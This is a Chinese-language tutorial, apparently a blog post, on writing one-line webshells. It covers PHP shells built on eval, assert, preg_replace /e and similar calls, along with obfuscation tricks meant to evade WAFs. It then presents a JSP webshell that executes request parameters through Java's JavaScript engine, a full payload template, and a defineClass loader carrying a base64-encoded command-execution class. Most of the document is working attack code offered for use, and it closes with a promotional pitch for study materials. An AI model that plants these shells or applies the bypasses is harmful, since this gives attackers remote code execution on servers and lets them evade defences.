一句话木马就是只需要一行代码的木马，短短一行代码，就能做到和大马相当的功能。为了绕过waf的检测，一句话木马出现了无数中变形，但本质是不变的：木马的函数执行了我们发送的命令。

我们如何发送命令，发送的命令如何执行？

我们可以通过GET 、POST 、COOKIE这三种方式向一个网站提交数据，一句话木马用$_GET[' ']、$_POST[' ']、$_COOKIE[' '] 接收我们传递的数据，并把接收的数据传递给一句话木马中执行命令的函数，进而执行命令。
所以看到的经典一句话木马大多都是只有两个部分，一个是可以执行代码的函数部分，一个是接收数据的部分。

例如：<?php eval(@$_POST['a']); ?>

其中eval就是执行命令的函数，$_POST['a']就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。

示例：

phpinfo.png

因为木马是接收post请求中 “a” 的数据（ $_POST[‘a’]）,所以我们必须以post方法发送数据并且将我们要执行的代码赋值给“a”。如果把木马中的post替换成get，那么我么就需要以GET方法发送“a”，（ 就像这样： http://127.0.0.1/test.php?a=phpinfo(); ）我就不再另行演示了。

使用 其他函数制作一句话木马

assert函数

<?php assert(@$_POST['a']); ?>

create_function函数

<?php 
$fun = create_function('',$_POST['a']);
$fun();
?>

把用户传递的数据生成一个函数fun()，然后再执行fun()

call_user_func回调函数

<?php
@call_user_func(assert,$_POST['a']);
?>

call_user_func这个函数可以调用其它函数，被调用的函数是call_user_func的第一个函数，被调用的函数的参数是call_user_func的第二个参数。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。

preg_replace函数

<?php 
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

这个函数原本是利用正则表达式替换符合条件的字符串，但是这个函数有一个功能——可执行命令。这个函数的第一个参数是正则表达式，按照PHP的格式，表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”，那么这个函数的第二个参数就会被当作代码执行。

file_put_contents函数

利用函数生成木马

<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

函数功能：生成一个文件，第一个参数是文件名，第二个参数是文件的内容。

如何让一句话木马绕过waf ?

waf是网站的防火墙，例如安全狗就是waf的一种。waf通常以关键字判断是否为一句话木马，但是一句话木马的变形有很多种，waf根本不可能全部拦截。想要绕过waf，需要掌握各种PHP小技巧，掌握的技巧多了，把技巧结合起来，设计出属于自己的一句话木马。

PHP变量函数

<?php 
$a = "eval";
$a(@$_POST['a']); 
?>

第三行使用了变量函数$a，变量储存了函数名eval，便可以直接用变量替代函数名。

PHP可变变量

<?php
$bb="eval";
$a="bb";
$$aa($_POST['a']);
?>

看这句就能理解上述语句：$$aa = $($aa) = $ (‘bb’) = $bb = "eval"

str_replace函数

<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>

函数功能：在第三个参数中，查找第一个参数，并替换成第二个参数。这里第二个参数为空字符串，就相当于删除"Waldo"。

base64_decode函数

<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

这里是base64解密函数，"ZXZhbA=="是eval的base64加密。

"."操作符

<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

parse_str函数

<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>

执行这个函数后，生成一个变量$a，值为字符串"eval"

更多技巧...

多实战，多谷歌！
上述六种技巧每一种单独使用都不能绕过waf，但是与 第三大点提到的函数混合起来使用，就可以顺利的欺骗waf。
tips：使用一句话木马的时候可以在函数前加”@”符，这个符号让php语句不显示错误信息，增加隐蔽性。

<?php
function fun()
{return $_POST['a'];}
@preg_replace("/test/e",fun(),"test test test");
?>

前言

一直以来，Java一句话木马都是采用打入字节码defineClass实现的。这种方法的优势是可以完整的打进去一个类，可以几乎实现Java上的所有功能。不足之处就是Payload过于巨大，并且不像脚本语言一样方便修改。并且还存在很多特征，例如继承ClassLoader，反射调用defineClass等。本在这里提出一种Java一句话木马：利用Java中JS引擎实现的一句话木马。

基本原理

1. Java没有eval函数，Js有eval函数，可以把字符串当代码解析。
2. Java从1.6开始自带ScriptEngineManager这个类，原生支持调用js，无需安装第三方库。
3. ScriptEngine支持在Js中调用Java的对象。

综上所述，我们可以利用Java调用JS引擎的eval，然后在Payload中反过来调用Java对象，这就是本文提出的新型Java一句话的核心原理。

ScriptEngineManager全名javax.script.ScriptEngineManager，从Java 6开始自带。其中Java 6/7采用的js解析引擎是Rhino，而从java8开始换成了Nashorn。不同解析引擎对同样的代码有一些差别，这点后面有所体现。

如果说原理其实一两句话就可以说清楚，但是难点在于Payload的编写。跨语言调用最大的一个难点就是数据类型以及方法的转换。例如Java中有byte数组，Js中没有怎么办？C++里有指针但是Java里没有这个玩意怎么办？

在实现期间踩了很多的坑，这篇文章跟大家一起掰扯掰扯，希望能给大家提供点帮助。

获取脚本引擎

//通过脚本名称获取：
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");  //简写为js也可以
//通过文件扩展名获取： 
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");  
//通过MIME类型来获取： 
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");

绑定对象

ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));

或者通过eval的重载函数，直接把对象通过一个HashMap放进去

new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}))

eval

综合上面两步，有很多种写法，例如：

shell.jsp

<%

     javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
     engine.put("request", request);
     engine.put("response", response);
     engine.eval(request.getParameter("mr6"));

%>

或者直接缩写成一句：

<%
     new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("mr6"), new javax.script.SimpleBindings(new java.util.HashMap() {{
            put("response", response);
            put("request", request);
        }}));
%>

以执行命令为例：

POST：mr6=java.lang.Runtime.getRuntime().exec(“calc”);

即可达到命令执行的效果。

基本语法

翻阅文档比较枯燥，这里挑一些用到的说一说。

感兴趣的同学也可以看一下原文档：原文档

调用Java方法

前面加上全限定类名即可

var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";//yzddmr6
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
var result = sc.hasNext() ? sc.next() : "";
sc.close();

导入Java类型

var Vector = java.util.Vector;
var JFrame = Packages.javax.swing.JFrame;

 //这种写法仅仅支持Nashorn，Rhino并不支持
var Vector = Java.type("java.util.Vector")
var JFrame = Java.type("javax.swing.JFrame")

创建Java类型的数组

// Rhino
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)

// Nashorn
var IntArray = Java.type("int[]")
var array = new IntArray(8)

导入Java类

默认情况下，Nashorn 不会导入Java的包。这样主要为了避免类型冲突，比如你写了一个new String，引擎怎么知道你new的是Java的String还是js的String？所以所有的Java的调用都需要加上全限定类名。但是这样写起来很不方便。

这个时候大聪明Mozilla Rhino 就想了一个办法，整了个扩展文件，里面提供了importClass 跟importPackage 方法，可以导入指定的Java包。

• importClass 导入指定Java的类，现在推荐用Java.type
• importPackage 导入一个Java包，类似import com.yzddmr6.*，现在推荐用JavaImporter

这里需要注意的是，Rhino对该语法的错误处理机制，当被访问的类存在时，Rhino加载该class，而当其不存在时，则把它当成package名称，而并不会报错。

load("nashorn:mozilla_compat.js");

importClass(java.util.HashSet);
var set = new HashSet();

importPackage(java.util);
var list = new ArrayList();

在一些特殊情况下，导入的全局包会影响js中的函数，例如类名冲突。这个时候可以用JavaImporter，并配合with语句，对导入的Java包设定一个使用范围。

// create JavaImporter with specific packages and classes to import

var SwingGui = new JavaImporter(javax.swing,
                            javax.swing.event,
                            javax.swing.border,
                            java.awt.event);
with (SwingGui) {
    // 在with里面才可以调用swing里面的类，防止污染
    var mybutton = new JButton("test");
    var myframe = new JFrame("test");
}

方法调用与重载

方法在JavaScript中实际上是对象的一个属性，所以除了使用 . 来调用方法之外，也可以使用[]来调用方法：

var System = Java.type('java.lang.System');
System.out.println('Hello, World');    // Hello, World
System.out['println']('Hello, World'); // Hello, World

Java支持重载（Overload）方法，例如，System.out 的 println 有多个重载版本，如果你想指定特定的重载版本，可以使用[]指定参数类型。例如：

var System = Java.type('java.lang.System');
System.out['println'](3.14);          // 3.14
System.out['println(double)'](3.14);  // 3.14
System.out['println(int)'](3.14);     // 3

Payload结构设计

详情写在注释里了

//导入基础拓展
try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}
//导入常见包
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);

var output = new StringBuffer(""); //输出
var cs = "${jspencode}"; //设置字符集编码
var tag_s = "${tag_s}"; //开始符号
var tag_e = "${tag_e}"; //结束符号
try {
  response.setContentType("text/html");
  request.setCharacterEncoding(cs);
  response.setCharacterEncoding(cs);
  function decode(str) {
    //参数解码
    str = str.substr(2);
    var bt = Base64DecodeToByte(str);
    return new java.lang.String(bt, cs);
  }
  function Base64DecodeToByte(str) {
    importPackage(Packages.sun.misc);
    importPackage(Packages.java.util);
    var bt;
    try {
      bt = new BASE64Decoder().decodeBuffer(str);
    } catch (e) {
      bt = Base64.getDecoder().decode(str);
    }
    return bt;
  }
  function asoutput(str) {
    //回显加密
    return str;
  }
  function func(z1) {
    //eval function

    return z1;
  }
  output.append(func(z1)); //添加功能函数回显
} catch (e) {
  output.append("ERROR:// " + e.toString()); //输出错误
}
try {
  response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); //回显
} catch (e) {}

语法问题的坑

两种语言对象间的相互转换

要注意的是，在遇到Java跟JS可能存在类型冲突的地方，即使导入了包也要加上全限定类名。

在编写payload的时候被坑了很久的一个问题就是，在导入java.lang以后写new String(bt,cs)没有加全限定类名，导致打印出来的一直是一个字符串地址。

正确的操作是new java.lang.String(bt,cs)。因为在Java和Js中均存在String类，按照优先级，直接new出来的会是Js的对象。

下面附上类型对比表：

JavaScript Value	JavaScript Type	Java Type	Is Scriptable	Is Function
{a:1, b:[‘x’,‘y’]}	object	org.mozilla.javascript.NativeObject	+	-
[1,2,3]	object	org.mozilla.javascript.NativeArray	+	-
1	number	java.lang.Double	-	-
1.2345	number	java.lang.Double	-	-
NaN	number	java.lang.Double	-	-
Infinity	number	java.lang.Double	-	-
-Infinity	number	java.lang.Double	-	-
true	boolean	java.lang.Boolean	-	-
“test”	string	java.lang.String	-	-
null	object	null	-	-
undefined	undefined	org.mozilla.javascript.Undefined	-	-
function () { }	function	org.mozilla.javascript.gen.c1	+	+
/.*/	object	org.mozilla.javascript.regexp.NativeRegExp	+	+

Rhino/Nashorn解析的差异

这也是当时一个坑点，看下面一段代码

var readonlyenv = System.getenv();
      var cmdenv = new java.util.HashMap(readonlyenv);
      var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|");
      for (var i = 0; i < envs.length; i++) {
        var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|");
        if (es.length == 2) {
          cmdenv.put(es[0], es[1]);
        }
      }
      var e = [];
      var i = 0;
      print(cmdenv+'\n');
      for (var key in cmdenv) {//关键
        print("key: "+key+"\n");
        e[i] = key + "=" + cmdenv[key];
        i++;
      }

其中cmdenv是个HashMap，这段代码在Java 8中Nashorn引擎可以正常解析，var key in cmdenv的时候把cmdenv的键给输出了

但是在Java 6下运行时，Rhino把他当成了一个js对象，把其属性输出了

所以涉及到这种混合写法就会有异议，不同的引擎有不同的解释。

解决办法使用Java迭代器即可，不掺杂js的写法。

var i = 0;
    var iter = cmdenv.keySet().iterator();
    while (iter.hasNext()) {
      var key = iter.next();
      var val = cmdenv.get(key);
      //print("\nkey:" + key);
      //print("\nval:" + val);
      e[i] = key + "=" + val;
      i++;
    }

反射的坑

在Java中，如果涉及到不同版本之间类的包名不一样，我们通常不能直接导入，而要使用反射的写法。

例如base64解码的时候，Java的写法如下

public byte[] Base64DecodeToByte(String str) {
        byte[] bt = null;
        String version = System.getProperty("java.version");
        try {
            if (version.compareTo("1.9") >= 0) {
                Class clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            } else {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            }
            return bt;
        } catch (Exception e) {
            return new byte[]{};
        }
    }

改写成js风格后，发现会有一些奇奇怪怪的BUG。（后来发现反射其实也可以实现，导入Java类型然后再传入反射参数即可，就是比较麻烦）

function test(str) {
  var bt = null;
  var version = System.getProperty("java.version");

  if (version.compareTo("1.9") >= 0) {
    var clazz = java.lang.Class.forName("java.util.Base64");
    var decoder = clazz.getMethod("getDecoder").invoke(null);
    bt = decoder
      .getClass()
      .getMethod("decode", java.lang.String.class)
      .invoke(decoder, str);
  } else {
    var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
    bt = clazz
      .getMethod("decodeBuffer", java.lang.String.class)
      .invoke(clazz.newInstance(), str);
  }
  return bt;
}

但是在Js中，我们并不需要这么麻烦。上面提到过如果importPackage了一个不存在的包名，Js引擎会将这个错误给忽略，并且由于Js松散的语言特性，我们仅仅需要正射+异常捕获就可以完成目的。大大减小了payload编写的复杂度。

function Base64DecodeToByte(str) {
    importPackage(Packages.sun.misc);
    importPackage(Packages.java.util);
    var bt;
    try {
      bt = new BASE64Decoder().decodeBuffer(str);
    } catch (e) {
      bt = Base64.getDecoder().decode(str);
    }
    return bt;
  }

保底操作

理论上，我们可以用js引擎的一句话实现所有字节码一句话的功能，退一万步讲，如果有些功能实在不好实现，或者说想套用现有的payload应该怎么办呢。

我们可以用java调用js后，再调用defineClass来实现：

编写一个命令执行的类：calc.java

import java.io.IOException;

public class calc {
    public calc(String cmd){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

编译之后base64一下

> base64 -w 0 calc.class
yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIA

填入下方payload

try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer("");
var cs = "UTF-8";
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function Base64DecodeToByte(str) {
  importPackage(Packages.sun.misc);
  importPackage(Packages.java.util);
  var bt;
  try {
    bt = new BASE64Decoder().decodeBuffer(str);
  } catch (e) {
    bt = new Base64().getDecoder().decode(str);
  }
  return bt;
}
function define(Classdata, cmd) {
  var classBytes = Base64DecodeToByte(Classdata);
  var byteArray = Java.type("byte[]");
  var int = Java.type("int");
  var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
    "defineClass",
    byteArray.class,
    int.class,
    int.class
  );
  defineClassMethod.setAccessible(true);
  var cc = defineClassMethod.invoke(
    Thread.currentThread().getContextClassLoader(),
    classBytes,
    0,
    classBytes.length
  );
  return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}
output.append(
  define(
    "yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
    "calc"
  )
);
response.getWriter().print(output);

成功弹出计算器

也就是说，新型一句话在特殊情况下，还可以继续兼容原有的字节码一句话，甚至复用原有的Payload。

测试

测试环境：Java>=6

同样的列目录Payload，原有的字节码方式数据包长度为7378，而新型JSP一句话仅仅为2481，差不多为原有的三分之一。

列目录

中文测试

虚拟终端

数据库连接

题外话：安全是个不错的行业，我干的也挺好，如果你也想学习安全，学习的过程中有需要的学习文档，俺可以分享给大家！

【查看资料】

最后

基于JS引擎的Java一句话体积更小，变化种类更多，使用起来更灵活。范围为Java 6及以上，基本可以满足需求，但是Payload写起来非常麻烦，也不好调试，算是有利有弊。

提出新型一句话并不是说一定要取代原有的打入字节码的方式，只是在更复杂情况下，可以提供给渗透人员更多的选择。